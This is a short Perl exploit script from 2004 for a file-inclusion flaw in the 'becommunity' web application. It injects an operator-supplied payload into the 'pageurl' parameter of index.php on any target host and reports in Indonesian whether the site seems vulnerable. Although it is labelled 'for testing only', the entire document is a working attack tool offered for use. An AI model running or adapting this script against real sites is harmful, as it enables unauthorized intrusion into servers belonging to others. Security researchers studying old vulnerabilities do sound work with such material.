#!/usr/bin/perl -w
 
# Remote Testing becommunity by y3dips [for testing only]
# Bug find by y3dips , published at http://echo.or.id/adv/adv06-y3dips-2004.txt

print "  * Remote Testing becommunity by y3dips *\n";

require LWP::UserAgent;

if(@ARGV == 2)
	{
      
$target= $ARGV[0];
$xploit= $ARGV[1];

my $ua = LWP::UserAgent->new;
$ua->agent("MSIE/6.0 Windows");
$ua->timeout(10);
$ua->env_proxy;

$url = "http://$target/becommunity/community/index.php?pageurl=$xploit";

my $injek = $ua->get($url);

print "---------------------------------------------------\n";

	if ($injek->is_success) 
		{ print ("    $target Sepertinya Vulnerable\n"); } 
	else 	{ print ("    $target Sepertinya Tidak Vulnerable\n"); }

print "---------------------------------------------------\n";

	}

else{
print "Gunakan: perl $0 [target] [xplo.txt]  \n";
}  


#EOF y3dips(c)2004